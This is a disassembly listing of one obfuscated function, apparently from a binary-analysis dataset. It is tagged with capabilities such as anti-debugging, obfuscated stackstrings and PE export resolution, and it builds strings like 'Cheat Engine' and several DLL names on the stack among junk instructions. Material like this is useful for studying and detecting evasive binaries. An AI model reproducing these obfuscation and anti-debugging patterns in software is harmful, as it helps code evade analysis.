Function at 0x8cb9e4
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov word [esp + 0x846], si
mov esi, 0x20
mov word [esp + 0x848], si
btc si, 0xbb
sal si, 0x50
add si, 0x61c0
mov esi, 0x30
mov word [esp + 0x84a], si
cmc
mov word [esp + 0x84c], si
btc si, 0xa
rol si, 0x23
mov esi, 0x20
mov word [esp + 0x84e], si
xchg esi, esi
mov esi, 0x36
mov word [esp + 0x850], si
test bx, 0x3df7
cmc
mov esi, 0x35
mov word [esp + 0x852], si
neg esi
mov esi, 0x20
clc
mov word [esp + 0x854], si
bsr esi, ebp
mov esi, 0x30
jmp 0x8ba6ff
push eax
cbw
push ecx
mov eax, 0x1424
jmp 0x79216b
mov byte [esp + 0x543], 0x70
sub si, 0x37f1
mov byte [esp + 0x544], 0x6c
mov byte [esp + 0x545], al
mov byte [esp + 0x546], 0x2e
add esi, 0x2bd95f91
test dl, bh
mov byte [esp + 0x547], 0x74
sub si, 0x51e3
mov byte [esp + 0x548], 0x78
add si, 0x723d
mov byte [esp + 0x549], 0x74
mov byte [esp + 0x54a], bl
bt esi, 0xc3
mov esi, 0x30
mov word [esp + 0xa44], si
mov word [esp + 0xa46], si
cmc
test si, cx
mov si, dx
mov esi, 0x20
test esp, 0x12fe35d2
mov word [esp + 0xa48], si
mov esi, 0x34
cmp sp, 0x7d0f
mov word [esp + 0xa4a], si
mov esi, 0x42
stc
cmc
mov word [esp + 0xa4c], si
mov esi, 0x20
test sp, sp
stc
mov word [esp + 0xa4e], si
stc
shr esi, 0x19
mov esi, 0x36
stc
mov word [esp + 0xa50], si
and esi, esp
xor si, dx
mov esi, 0x39
jmp 0x72d24c
mov byte [esp + 0x5c5], 0x31
test edx, 0x1751264b
or si, si
mov byte [esp + 0x5c6], 0x33
bsf esi, esp
mov byte [esp + 0x5c7], 0x30
inc si
shr si, 0xde
mov byte [esp + 0x5c8], 0x38
add esi, eax
mov si, di
mov byte [esp + 0x5c9], 0x31
or esi, ebx
rol si, 0xf4
mov byte [esp + 0x5ca], 0x39
movzx esi, cx
mov byte [esp + 0x5cb], 0x30
mov byte [esp + 0x5cc], 0x31
mov byte [esp + 0x5cd], 0x2e
mov byte [esp + 0x5ce], 0x64
mov esi, 0x6fde3051
rcr si, 0x95
mov byte [esp + 0x5cf], 0x6c
btc si, 0x8b
or esi, edx
mov byte [esp + 0x5d0], 0x6c
mov byte [esp + 0x5d1], bl
or si, sp
mov byte [esp + 0x4c8], 0x43
jmp 0x86174e
mov byte [esp + 0x3a4], 0x69
cmp al, 0xf
mov byte [esp + 0x3a5], 0x6e
cmp ebp, edi
mov byte [esp + 0x3a6], al
test ecx, 0x31b50195
cmc
stc
mov byte [esp + 0x3a7], 0x61
mov byte [esp + 0x3a8], 0x67
mov byte [esp + 0x3a9], al
cmp sp, 0x72d6
mov byte [esp + 0x3aa], 0x2e
mov byte [esp + 0x3ab], al
jmp 0x69e15c
mov byte [esp + 0x3ac], 0x78
cmp ah, 0xb9
test ch, 0xf9
test bl, cl
mov byte [esp + 0x3ad], al
cmc
mov byte [esp + 0x3ae], bl
jmp 0x78aa0b
mov word [esp + 0x842], si
add si, bx
btc esi, edx
mov esi, 0x36
cmc
cmp bp, 0x5113
mov word [esp + 0x844], si
btc si, ax
shr esi, 0xc
mov esi, 0x45
jmp 0x567396
mov word [esp + 0x922], si
test edx, eax
dec si
bsr si, sp
mov esi, 0x20
jmp 0x84fdbb
mov byte [esp + 0x30e], 0x79
cmc
test cl, 0xaf
mov byte [esp + 0x30f], 0x2e
mov byte [esp + 0x310], 0x64
test bp, dx
test esi, 0xb504e39
mov byte [esp + 0x311], 0x6c
mov byte [esp + 0x312], 0x6c
cmc
clc
mov byte [esp + 0x313], bl
stc
mov word [esp + 0x884], si
mov esi, 0x30
mov word [esp + 0x886], si
cmc
test sp, di
cmp ah, 0x68
mov word [esp + 0x888], si
bt si, cx
add esi, 0x4cc85034
mov esi, 0x20
mov word [esp + 0x88a], si
sal si, 0xf
mov esi, 0x36
jmp 0x78c5de
mov al, 0x65
mov byte [esp + 0x38c], 0x5f
mov byte [esp + 0x38d], cl
rcr dl, 0x7e
mov byte [esp + 0x38e], 0x62
mov byte [esp + 0x390], bl
sar dl, cl
mov byte [esp + 0x4d4], cl
clc
sub dl, 0xd7
mov byte [esp + 0x4d5], 0x62
mov byte [esp + 0x4d7], 0x5f
and esi, 0x52d716ee
mov byte [esp + 0x4d8], 0x66
mov byte [esp + 0x4d9], cl
mov byte [esp + 0x4da], 0x72
and si, 0x6ec7
mov byte [esp + 0x4db], 0x6d
movsx esi, di
ror dl, 0x2c
mov byte [esp + 0x4dc], bl
bswap esi
rcl dl, cl
mov byte [esp + 0x494], cl
mov byte [esp + 0x495], 0x62
xchg si, si
shr dl, cl
bt esi, edi
mov byte [esp + 0x497], 0x5f
mov byte [esp + 0x498], 0x61
shl dl, cl
shl esi, 0xf1
mov byte [esp + 0x499], 0x70
test ecx, 0x7e4d7f24
mov byte [esp + 0x49a], 0x70
cmovl esi, ecx
mov byte [esp + 0x49b], bl
ror si, 0xb
add esi, 0x2c6b6225
mov byte [esp + 0x44c], 0x57
xadd dl, dl
mov byte [esp + 0x44d], 0x69
rol esi, 0x42
dec esi
mov byte [esp + 0x44e], 0x6e
xadd dl, dl
mov byte [esp + 0x44f], 0x64
adc esi, esi
xor esi, edi
mov byte [esp + 0x450], cl
mov byte [esp + 0x451], 0x77
cmp ebp, 0x63c02f2e
clc
mov byte [esp + 0x452], bl
mov byte [esp + 0x414], 0x43
btc esi, 0xc0
mov byte [esp + 0x415], 0x68
sar dl, 0x10
neg esi
mov byte [esp + 0x416], al
mov byte [esp + 0x417], 0x61
or si, ax
mov byte [esp + 0x418], 0x74
ror dl, cl
bts esi, ecx
mov byte [esp + 0x419], 0x20
xchg dl, dl
add dl, al
mov byte [esp + 0x41a], 0x45
mov byte [esp + 0x41b], 0x6e
mov byte [esp + 0x41c], 0x67
clc
mov byte [esp + 0x41d], 0x69
mov byte [esp + 0x41e], 0x6e
mov byte [esp + 0x41f], al
mov byte [esp + 0x420], bl
cmovl si, si
shrd esi, ebx, 0xc4
mov byte [esp + 0x63c], 0x54
btc si, di
shl dl, 0xde
mov byte [esp + 0x63d], 0x56
mov byte [esp + 0x63e], 0x61
mov byte [esp + 0x63f], 0x6c
mov byte [esp + 0x640], 0x75
bswap esi
rcl dl, 0x34
mov byte [esp + 0x641], al
bt esi, 6
rcl dl, 0x39
mov byte [esp + 0x642], 0x43
mov byte [esp + 0x643], 0x68
mov byte [esp + 0x644], 0x61
rol dl, cl
mov byte [esp + 0x645], 0x6e
mov byte [esp + 0x646], 0x67
bt esi, ecx
mov si, di
mov byte [esp + 0x647], al
rol si, 0xaf
sar dl, 0xc7
mov byte [esp + 0x648], 0x46
mov byte [esp + 0x649], cl
btc esi, edx
mov byte [esp + 0x64a], 0x72
shl dl, 0x29
mov si, sp
mov byte [esp + 0x64b], 0x6d
shr dl, 0xb1
adc si, cx
mov byte [esp + 0x64c], bl
dec si
mov byte [esp + 0x4f8], 0x72
add si, 0x520e
bswap si
or si, bx
mov byte [esp + 0x4f9], 0x61
mov byte [esp + 0x4fa], 0x70
mov byte [esp + 0x4fb], 0x68
mov byte [esp + 0x4fc], 0x20
mov byte [esp + 0x4fd], 0x2d
or dl, bl
mov byte [esp + 0x4fe], 0x20
bswap esi
bt si, 0xcc
sub si, bx
mov byte [esp + 0x4ff], 0x5b
cmc
jmp 0x756bfc
mov word [esp + 0x938], si
mov word [esp + 0x93a], si
and si, ax
mov esi, 0x20
test sp, bp
mov word [esp + 0x93c], si
movsx esi, ax
rcl si, 0xf
mov esi, 0x30
mov word [esp + 0x93e], si
mov word [esp + 0x940], si
sub esi, esi
clc
mov word [esp + 0x942], si
shld esi, esi, 0xb1
and esi, 0x2f66682a
sbb si, 0x68cb
mov esi, 0x38
mov word [esp + 0x7dc], si
bsf si, dx
xor esi, esi
sal si, 0xc
mov esi, 0x33
mov word [esp + 0x7de], si
test dx, bp
sub esi, ecx
mov esi, 0x20
mov word [esp + 0x7e0], si
mov esi, 0x46
test edx, edi
clc
mov word [esp + 0x7e2], si
mov esi, 0x38
mov word [esp + 0x7e4], si
movzx esi, sp
adc esi, 0x70e40ce7
mov esi, 0x20
cmc
mov word [esp + 0x7e6], si
rol esi, 0x1f
bt esi, ebx
neg si
mov esi, 0x33
mov word [esp + 0x7e8], si
clc
mov esi, 0x37
clc
mov word [esp + 0x7ea], si
add esi, 0xd6967a4
jmp 0x751dd4
mov word [esp + 0x8da], si
mov esi, 0x20
cmc
mov word [esp + 0x8dc], si
mov esi, 0x30
stc
mov word [esp + 0x8de], si
mov word [esp + 0x8e0], si
xadd si, si
sal si, 0x4a
rol si, 0x11
mov esi, 0x20
test bh, 0x3f
test eax, ecx
mov word [esp + 0x8e2], si
not esi
mov esi, 0x36
mov word [esp + 0x8e4], si
mov esi, 0x37
cmp bl, bh
stc
mov word [esp + 0x8e6], si
sbb esi, 0x4cd46c16
xchg si, si
mov esi, 0x20
test al, 0xac
stc
clc
mov word [esp + 0x8e8], si
rol si, 0x21
clc
rcl esi, 6
mov esi, 0x30
stc
cmc
mov word [esp + 0x8ea], si
mov word [esp + 0x8ec], si
mov esi, 0x20
cmc
cmp bl, 0x75
jmp 0x7fab73
mov word [esp + 0xa52], si
xadd esi, esi
mov esi, 0x20
mov word [esp + 0xa54], si
and esi, 0x70451e5f
sub si, bx
jmp 0x81d07f
mov word [esp + 0x816], si
mov esi, esi
shr si, 0xfb
mov esi, 0x20
cmp bp, sp
mov word [esp + 0x818], si
bt esi, esp
mov esi, 0x30
cmp edx, eax
cmp esi, 0x3c652496
cmc
mov word [esp + 0x81a], si
jmp 0x7f697d
mov esi, 0x20
mov word [esp + 0x7ec], si
cmp cl, 1
xchg esi, esi
mov esi, 0x37
cmc
mov word [esp + 0x7ee], si
mov esi, 0x44
test eax, esp
mov word [esp + 0x7f0], si
shld esi, ebx, 0xae
mov esi, 0x20
cmp di, 0x27e4
clc
mov word [esp + 0x7f2], si
bt si, bp
sub esi, eax
mov esi, 0x33
clc
mov word [esp + 0x7f4], si
shr esi, 0x41
cmp si, 0x575e
mov esi, 0x35
test si, 0x37bf
mov word [esp + 0x7f6], si
stc
xor esi, esi
mov word [esp + 0x7f8], si
mov esi, 0x35
mov word [esp + 0x7fc], si
bts si, dx
mov esi, 0x43
test dx, bp
clc
jmp 0x7b62a5
mov byte [esp + 0x500], bl
xchg esi, esi
mov byte [esp + 0x444], 0x2e
bswap si
mov byte [esp + 0x445], 0x53
mov byte [esp + 0x446], 0x50
mov byte [esp + 0x447], 0x4b
mov byte [esp + 0x448], 0x58
mov byte [esp + 0x449], 0x5d
mov esi, eax
jmp 0x8b2b4c
mov word [esp + 0x86e], si
cmp edi, 0x454a5d28
clc
mov word [esp + 0x870], si
test bp, 0x3992
inc si
cmc
mov esi, 0x20
test cx, ax
cmc
clc
mov word [esp + 0x872], si
movzx esi, dx
mov esi, 0x37
cmc
mov word [esp + 0x874], si
xadd esi, esi
and esi, 0x4ce50dca
mov esi, 0x33
cmp ecx, edi
mov word [esp + 0x876], si
mov esi, 0x20
cmp ebp, 0x7ee71c11
mov word [esp + 0x878], si
or esi, 0x262b2f25
shrd si, cx, 8
mov esi, 0x30
test bx, 0x5fc7
mov word [esp + 0x87a], si
mov word [esp + 0x87c], si
add si, 0x3c13
neg esi
or si, cx
mov esi, 0x20
cmc
mov word [esp + 0x87e], si
sub si, 0xfe0
xadd esi, esi
mov esi, 0x36
clc
mov word [esp + 0x880], si
adc esi, 0x5b881c3a
inc si
mov esi, 0x35
clc
cmp si, 0x1759
mov word [esp + 0x882], si
mov esi, 0x20
cmp esp, 0x326f1421
mov byte [esp + 0x3b5], 0x31
test si, 0x21a5
stc
mov byte [esp + 0x3b6], 0x36
mov byte [esp + 0x3b7], 0x33
cmc
mov byte [esp + 0x3b8], 0x38
test esp, 0x6c7a60d9
cmp bp, 0x5b1
mov byte [esp + 0x3b9], 0x34
test sp, 0xa92
cmc
mov byte [esp + 0x3ba], 0x2e
cmc
mov byte [esp + 0x3bb], 0x74
test ecx, 0x66206ac8
mov byte [esp + 0x3bc], 0x78
test bp, sp
test esi, 0x73aa7927
mov byte [esp + 0x3bd], 0x74
cmp ebx, ebp
cmp edx, 0x3535115f
mov byte [esp + 0x3be], bl
test edx, ebp
stc
mov byte [esp + 0x31c], 0x44
cmp cl, 0x56
mov byte [esp + 0x31d], al
mov byte [esp + 0x31e], 0x6d
test bx, sp
test ebp, 0xaec3c17
mov byte [esp + 0x31f], cl
stc
mov byte [esp + 0x320], 0x2e
jmp 0x7ef77e
mov word [esp + 0x926], si
mov word [esp + 0x928], si
rcl esi, 0x1b
mov esi, 0x20
cmc
mov word [esp + 0x92a], si
mov esi, 0x36
jmp 0x7e6ada
mov byte [esp + 0x30c], 0x4b
cmp eax, esp
jmp 0x7d8563
mov word [esp + 0x88c], si
mov esi, 0x39
cmc
mov word [esp + 0x88e], si
ror si, 0x12
xadd si, si
rcl esi, 0xe4
mov esi, 0x20
cmp cl, 0xe3
clc
jmp 0x88a313
mov byte [esp + 0x558], 0x48
mov byte [esp + 0x559], 0x61
sub si, cx
xor esi, edi
mov byte [esp + 0x55a], 0x64
jmp 0x874051
mov word [esp + 0x80a], si
mov si, 0x1e09
mov esi, 0x20
stc
cmp ax, 0x715b
mov word [esp + 0x80c], si
mov esi, 0x30
stc
cmp bx, 0x7947
cmp esp, ebp
mov word [esp + 0x80e], si
test bp, 0xc
mov word [esp + 0x810], si
mov esi, 0x20
cmp ebp, 0x3be226f5
test bx, di
mov word [esp + 0x812], si
mov esi, 0x36
cmp edi, 0x14282384
cmp dl, bl
mov word [esp + 0x814], si
and esi, 0x330b2a58
bsf esi, ebp
mov esi, 0x43
test ebp, edi
jmp 0x72e319
call fcn.00474d50
mov eax, dword [0x520628]
cmc
ror cl, cl
sal dl, cl
xor eax, esp
mov dword [esp + 0x1420], eax
sal cl, 0x7e
test di, ax
push ebx
push esi
push edi
add cl, bl
or al, ch
mov eax, dword [0x520628]
bts si, bx
neg esi
xor eax, esp
rcl cl, cl
push eax
lea eax, [esp + 0x1438]
btc esi, ebp
mov dword fs:[0], eax
shl dl, 0x76
test di, dx
sub ebx, ebx
mov cl, 0x6f
shr al, 0xd6
mov al, 0x6a
clc
mov byte [esp + 0x38f], al
rcl dl, 0x74
mov byte [esp + 0x4d6], al
dec dl
test dh, ch
and dl, al
mov byte [esp + 0x496], al
jmp 0x719ad7
mov word [esp + 0x8c0], si
sar esi, 0xf1
btc esi, ebx
xchg esi, esi
mov esi, 0x30
mov word [esp + 0x8c2], si
mov word [esp + 0x8c4], si
clc
test esp, 0x17243010
jmp 0x8601e3
mov word [esp + 0x7fe], si
shr esi, 0xde
mov esi, 0x20
cmp cl, dl
clc
cmp bl, 0x37
mov word [esp + 0x800], si
bsf esi, ecx
test dh, ah
mov esi, 0x30
stc
mov word [esp + 0x802], si
mov word [esp + 0x804], si
shr si, 0x19
mov esi, 0x20
cmp esp, 0x6a01200a
mov word [esp + 0x806], si
bt si, 0x88
rol esi, 0xb4
mov esi, 0x36
test esi, 0x46574aac
mov word [esp + 0x808], si
shld si, bp, 0xa4
mov esi, 0x46
jmp 0x79171d
mov word [esp + 0x8b8], si
mov esi, 0x20
mov word [esp + 0x8ba], si
mov si, 0x5d03
mov esi, 0x30
clc
stc
mov word [esp + 0x8bc], si
mov word [esp + 0x8be], si
and esi, 0x3d1952cb
mov esi, 0x20
cmc
jmp 0x7afafa
mov byte [esp + 0x30d], al
jmp 0x70a362
mov word [esp + 0x85c], si
sar si, 0xd
mov esi, 0x30
cmc
test ax, 0xa6d
mov word [esp + 0x85e], si
btr si, di
bt si, sp
mov esi, 0x20
mov word [esp + 0x860], si
movsx esi, bp
mov esi, 0x30
cmp esi, esi
mov word [esp + 0x862], si
clc
stc
mov word [esp + 0x864], si
bt si, bp
mov esi, 0x20
cmc
mov word [esp + 0x866], si
mov esi, 0x36
jmp 0x8c7d14
mov word [esp + 0x8b4], si
bt si, 0x3d
neg esi
xadd esi, esi
mov esi, 0x30
cmc
mov word [esp + 0x8b6], si
cmp di, di
jmp 0x7d8285
mov word [esp + 0x912], si
mov esi, 0x36
cmp esi, ebx
stc
mov word [esp + 0x914], si
sbb si, cx
mov esi, 0x34
test sp, dx
mov word [esp + 0x916], si
and si, 0x57d
mov esi, 0x20
clc
cmp dx, 0x16bf
mov word [esp + 0x918], si
movsx esi, si
inc esi
mov esi, 0x30
cmp bx, dx
mov word [esp + 0x91a], si
stc
clc
test di, bp
mov word [esp + 0x91c], si
btc si, sp
shr si, 0x54
mov si, dx
mov esi, 0x20
cmp edi, 0x14ac17ce
mov word [esp + 0x91e], si
stc
btr esi, 0x51
bts esi, esi
mov esi, 0x36
mov word [esp + 0x920], si
sar si, 0x47
and si, bx
mov esi, 0x43
jmp 0x6f9859
mov word [esp + 0x92c], si
shrd si, bp, 0x26
mov esi, 0x43
cmc
mov word [esp + 0x92e], si
mov esi, 0x20
clc
mov word [esp + 0x930], si
mov esi, 0x30
mov word [esp + 0x932], si
mov word [esp + 0x934], si
rol si, 0x16
mov esi, 0x20
clc
test ebp, edx
mov word [esp + 0x936], si
cmp ecx, ebp
and si, sp
mov esi, 0x30
jmp 0x71a10c
mov byte [esp + 0x321], cl
cmc
cmp ecx, ebp
test ecx, edi
mov byte [esp + 0x322], 0x63
cmp bl, 8
stc
mov byte [esp + 0x323], 0x6b
stc
test eax, 0x405d02ca
mov byte [esp + 0x324], bl
clc
mov byte [esp + 0x3a0], cl
clc
cmc
mov byte [esp + 0x3a1], 0x6c
cmc
mov byte [esp + 0x3a2], 0x64
stc
test dx, sp
cmc
mov byte [esp + 0x3a3], 0x6c
jmp 0x67098b
mov word [esp + 0x81c], si
stc
mov esi, 0x20
mov word [esp + 0x81e], si
mov esi, 0x36
jmp 0x814d10
mov word [esp + 0x8ee], si
bt si, si
and si, di
sub si, bp
mov esi, 0x36
mov word [esp + 0x8f0], si
xadd esi, esi
mov esi, 0x39
cmp di, 0x5527
mov word [esp + 0x8f2], si
ror esi, 0x58
mov esi, 0x20
mov word [esp + 0x8f4], si
mov esi, 0x30
cmp bh, 0x75
mov word [esp + 0x8f6], si
cmc
mov word [esp + 0x8f8], si
mov esi, 0x3bdc263b
mov esi, 0x20
clc
test bl, 0x77
mov word [esp + 0x8fa], si
cmp ax, 0xaf9
mov esi, 0x36
test esi, eax
mov word [esp + 0x8fc], si
bsr si, ax
xor si, 0x1238
neg esi
mov esi, 0x45
stc
test bx, bx
test ebp, 0x3a391e04
mov word [esp + 0x8fe], si
mov esi, ebx
neg esi
mov esi, 0x20
test edx, esi
cmp edi, 0x19a87b9d
mov word [esp + 0x900], si
xchg si, si
btr esi, ebx
cmc
mov esi, 0x30
cmp bx, 0x7ccc
mov word [esp + 0x902], si
stc
cmc
mov word [esp + 0x904], si
mov esi, 0x20
cmp ch, 0xed
mov word [esp + 0x906], si
xor si, bx
mov esi, 0x32
mov word [esp + 0x908], si
rcl esi, 0x9d
and esi, 0x1e637bdf
mov esi, 0x45
mov word [esp + 0x90a], si
btc si, 0x2c
dec si
mov esi, 0x20
cmp ebx, 0x415a6d89
mov word [esp + 0x90c], si
test cx, cx
and esi, 0x687b4443
mov esi, 0x30
clc
mov word [esp + 0x90e], si
mov word [esp + 0x910], si
sbb esi, 0x5b16fa
sbb esi, esp
cmovge esi, ebx
mov esi, 0x20
jmp 0x7e1365
mov esi, 0x34
mov word [esp + 0x8cc], si
mov esi, 0x43
mov word [esp + 0x8ce], si
adc si, ax
test ebx, 0x7254add
mov esi, 0x20
mov word [esp + 0x8d0], si
mov esi, 0x30
mov word [esp + 0x8d2], si
test dl, 0x9c
test edx, edx
mov word [esp + 0x8d4], si
mov esi, 0x21f33166
and si, 0x23cf
sbb si, 0x11f6
mov esi, 0x20
mov word [esp + 0x8d6], si
movsx esi, cx
mov esi, 0x36
cmc
cmp cx, bp
mov word [esp + 0x8d8], si
test ebx, 0x17b576a
mov esi, 0x46
clc
jmp 0x729801
mov word [esp + 0x820], si
bt esi, 0x84
mov esi, 0x34
stc
mov word [esp + 0x822], si
movzx esi, sp
xadd si, si
mov esi, 0x20
cmc
mov word [esp + 0x824], si
mov esi, 0x30
mov word [esp + 0x826], si
test sp, si
clc
mov word [esp + 0x828], si
movsx esi, ax
mov esi, 0x20
cmc
mov word [esp + 0x82a], si
dec si
and esi, eax
mov esi, 0x36
cmp ebx, 0x647a1bc5
cmp al, dl
clc
mov word [esp + 0x82c], si
mov si, 0x188f
sar si, 0x3c
movzx esi, bp
mov esi, 0x43
test dh, ch
cmp dl, bh
mov word [esp + 0x82e], si
mov esi, 0x20
stc
test dh, 0x91
mov word [esp + 0x830], si
btr si, 0xbb
sub esi, 0x564e637f
mov esi, 0x30
cmc
test bp, cx
mov word [esp + 0x832], si
test esp, ebp
mov word [esp + 0x834], si
mov esi, 0x20
stc
cmp dx, si
mov word [esp + 0x836], si
btr esi, 0x13
inc si
test ebp, edi
mov esi, 0x36
stc
mov word [esp + 0x838], si
mov esi, 0x39
clc
stc
cmp di, si
mov word [esp + 0x83a], si
add si, bp
mov esi, 0x20
cmp edi, eax
stc
mov word [esp + 0x83c], si
movzx esi, ax
xchg si, si
mov esi, 0x30
test al, 0xb2
cmc
mov word [esp + 0x83e], si
stc
mov word [esp + 0x840], si
shld esi, edi, 0x59
sbb esi, ebp
mov esi, 0x20
jmp 0x6ddd7d
mov esi, 0x36
test edi, ebp
mov word [esp + 0xa56], si
mov esi, 0x43
mov word [esp + 0xa58], si
add si, 0x6997
xadd si, si
xor si, bp
mov esi, 0x20
stc
cmp al, dh
mov word [esp + 0xa5a], si
add si, 0x15cf
bts si, di
xor esi, 0x2a104b2f
mov esi, 0x36
mov word [esp + 0xa5c], si
mov esi, 0x43
mov word [esp + 0xa5e], si
btr si, dx
cmp dh, 0xd0
adc si, 0x78a2
mov esi, 0x20
test esp, 0x1b2148c0
mov word [esp + 0xa60], si
add esi, 0x278b33fa
mov esi, 0x35
mov word [esp + 0xa62], si
mov esi, 0x33
jmp loc.004225b0
mov word [esp + 0x8a2], si
shl esi, 0x65
cmc
mov esi, 0x36
mov word [esp + 0x8a4], si
or si, 0x436d
mov esi, 0x46
mov word [esp + 0x8a6], si
mov esi, ebp
bt si, ax
mov esi, 0x20
stc
cmp edx, 0x5a35048e
cmp bp, cx
mov word [esp + 0x8a8], si
mov esi, 0x30
test esi, eax
cmp ax, bx
mov word [esp + 0x8aa], si
cmp ebx, 0x10c526f9
mov word [esp + 0x8ac], si
cmovle si, bp
or esi, ebx
adc si, di
mov esi, 0x20
test ah, 0x82
clc
mov word [esp + 0x8ae], si
or esi, ecx
mov si, 0x9f7
mov esi, 0x36
clc
stc
mov word [esp + 0x8b0], si
cmc
clc
mov esi, 0x45
cmp dl, 0x26
cmc
mov word [esp + 0x8b2], si
or si, 0x1838
bts esi, ecx
mov esi, 0x20
test sp, 0x2b4f
cmp cx, bp
jmp 0x7dfa3b
mov word [esp + 0x924], si
mov esi, 0x30
test bx, ax
cmc
jmp 0x75dc99
xor esi, esi
stc
mov word [esp + 0x8c6], si
jmp 0x7fd4c4
mov byte [esp + 0x4c9], 0x75
test ebp, eax
mov si, 0x5365
xadd si, si
mov byte [esp + 0x4ca], 0x72
not si
mov byte [esp + 0x4cb], al
dec esi
mov byte [esp + 0x4cc], 0x2e
sub esi, edi
mov byte [esp + 0x4cd], 0x74
bsf esi, eax
cmc
mov byte [esp + 0x4ce], 0x78
btc esi, eax
mov byte [esp + 0x4cf], 0x74
shl si, 1
sal si, 0xe7
mov byte [esp + 0x4d0], bl
mov byte [esp + 0x5e4], 0x47
mov byte [esp + 0x5e5], al
btc si, 0x61
mov byte [esp + 0x5e6], 0x74
xadd si, si
add esi, 0xd5d2f2b
adc si, sp
mov byte [esp + 0x5e7], 0x56
mov byte [esp + 0x5e8], al
mov byte [esp + 0x5e9], 0x72
and esi, edi
mov byte [esp + 0x5ea], dl
bt si, dx
mov si, si
mov byte [esp + 0x5eb], 0x69
add esi, 0x9e5762b
mov byte [esp + 0x5ec], cl
xchg esi, esi
xor si, sp
sal esi, 0x82
mov byte [esp + 0x5ed], 0x6e
neg si
mov byte [esp + 0x5ee], 0x2e
cmovnp si, ax
mov byte [esp + 0x5ef], al
or esi, ebp
mov byte [esp + 0x5f0], 0x78
cmp edx, 0x338614a6
mov byte [esp + 0x5f1], al
xor si, 0x7ae1
xchg si, si
movzx esi, ax
mov byte [esp + 0x5f2], bl
cmc
ror si, 0xae
mov byte [esp + 0x628], 0x48
ror esi, 0x84
or esi, ebx
mov byte [esp + 0x629], cl
jmp 0x8972cd
mov byte [esp + 0x55b], al
adc esi, 0x6a93533d
dec si
mov byte [esp + 0x55c], dl
shl esi, 0xf3
mov byte [esp + 0x55d], 0x32
mov byte [esp + 0x55e], 0x2e
mov byte [esp + 0x55f], al
bswap si
mov byte [esp + 0x560], 0x78
not esi
sub si, di
mov byte [esp + 0x561], al
shl esi, 0xb2
btr esi, 0x63
rcr si, 0x64
mov byte [esp + 0x562], bl
bt esi, edi
bts si, si
mov byte [esp + 0x5b4], 0x41
add si, cx
mov byte [esp + 0x5b5], 0x31
bswap si
mov byte [esp + 0x5b6], 0x32
sub esi, 0x135c5fd2
sar si, 6
shld esi, esi, 0x7c
mov byte [esp + 0x5b7], 0x30
mov byte [esp + 0x5b8], 0x39
add esi, 0x28e765dd
xchg si, si
mov byte [esp + 0x5b9], 0x32
adc esi, 0x1daa565c
clc
mov byte [esp + 0x5ba], 0x37
mov byte [esp + 0x5bb], 0x30
btr si, 0x9e
mov byte [esp + 0x5bc], 0x31
mov byte [esp + 0x5bd], 0x2e
ror si, 0xc3
mov byte [esp + 0x5be], 0x64
btr si, dx
bts esi, eax
mov byte [esp + 0x5bf], 0x6c
movzx esi, bx
neg si
dec si
mov byte [esp + 0x5c0], 0x6c
mov byte [esp + 0x5c1], bl
bt si, dx
cmc
mov byte [esp + 0x5a4], 0x41
rcr si, 0x20
mov byte [esp + 0x5a5], 0x31
mov byte [esp + 0x5a6], 0x33
mov byte [esp + 0x5a7], 0x30
shr esi, 0x11
sub esi, 0x5ed11427
mov byte [esp + 0x5a8], 0x33
mov byte [esp + 0x5a9], 0x32
stc
mov byte [esp + 0x5aa], 0x37
mov byte [esp + 0x5ab], 0x30
adc esi, 0x3c0236f7
sar si, 0xdc
mov byte [esp + 0x5ac], 0x31
mov byte [esp + 0x5ad], 0x2e
cmc
rol esi, 0x3e
mov byte [esp + 0x5ae], 0x64
mov byte [esp + 0x5af], 0x6c
not esi
add esi, edx
mov byte [esp + 0x5b0], 0x6c
bt si, dx
sar esi, 0x2c
mov byte [esp + 0x5b1], bl
btr si, 0x20
shld esi, ebx, 0x14
mov byte [esp + 0x5c4], 0x41
bswap esi
shld si, di, 0xf0
jmp 0x64acc3
mov word [esp + 0x890], si
sub esi, 0x3eb6002
mov esi, 0x30
mov word [esp + 0x892], si
mov word [esp + 0x894], si
bsr esi, esp
mov esi, 0x20
test cx, dx
cmp eax, ebx
mov word [esp + 0x896], si
shrd si, cx, 0xb
cmc
mov esi, 0x36
clc
mov word [esp + 0x898], si
ror esi, 0x91
btr esi, edx
mov esi, 0x34
cmp ax, 0x6ad2
mov word [esp + 0x89a], si
cmc
shl si, 0x8c
mov esi, 0x20
mov word [esp + 0x89c], si
mov esi, 0x30
cmp edi, ebx
test esi, ebp
cmc
mov word [esp + 0x89e], si
test di, sp
cmp bx, bx
stc
mov word [esp + 0x8a0], si
mov esi, 0x20
cmp ax, 0x6487
jmp 0x82706f
mov byte [esp + 0x62a], 0x74
rol si, 0x6e
mov byte [esp + 0x62b], 0x6b
mov si, 0x16fb
btr si, 0x77
ror si, 0x1b
mov byte [esp + 0x62c], al
or si, 0x284b
dec si
mov byte [esp + 0x62d], 0x79
sub esi, 0x65ba6220
mov byte [esp + 0x62e], dl
sar esi, 0x79
mov byte [esp + 0x62f], 0x61
rcr si, 0x79
mov byte [esp + 0x630], 0x6d
mov byte [esp + 0x631], 0x70
mov byte [esp + 0x632], 0x6c
mov byte [esp + 0x633], al
mov byte [esp + 0x634], 0x2e
mov byte [esp + 0x635], 0x74
mov byte [esp + 0x636], 0x78
dec si
mov byte [esp + 0x637], 0x74
sub si, 0x5d52
adc esi, esi
mov byte [esp + 0x638], bl
mov byte [esp + 0x540], 0x53
sar si, 0x29
dec si
mov byte [esp + 0x541], 0x61
btr si, sp
mov byte [esp + 0x542], 0x6d
ror si, 0xc3
jmp 0x63b960
mov byte [esp + 0x44a], bl
mov byte [esp + 0x4b0], 0x5b
shl dl, 0x57
btc si, sp
mov byte [esp + 0x4b1], cl
mov dl, 0x73
mov byte [esp + 0x4b2], 0x6e
test bx, 0x4894
sar si, 0xdb
mov byte [esp + 0x4b3], 0x68
dec si
bt esi, 0xf
mov byte [esp + 0x4b4], cl
stc
add esi, ecx
mov byte [esp + 0x4b5], cl
btc esi, 0x42
mov byte [esp + 0x4b6], 0x6b
sar si, 0xe2
mov byte [esp + 0x4b7], 0x2e
shl si, 0x85
shrd si, dx, 8
mov byte [esp + 0x4b8], bl
test esp, edi
mov byte [esp + 0x3dc], 0x2e
bt esi, eax
mov byte [esp + 0x3dd], dl
movzx esi, dx
bt esi, edi
mov byte [esp + 0x3de], al
mov byte [esp + 0x3df], 0x72
dec esi
mov byte [esp + 0x3e0], 0x5d
mov byte [esp + 0x3e1], bl
mov byte [esp + 0x33c], 0x23
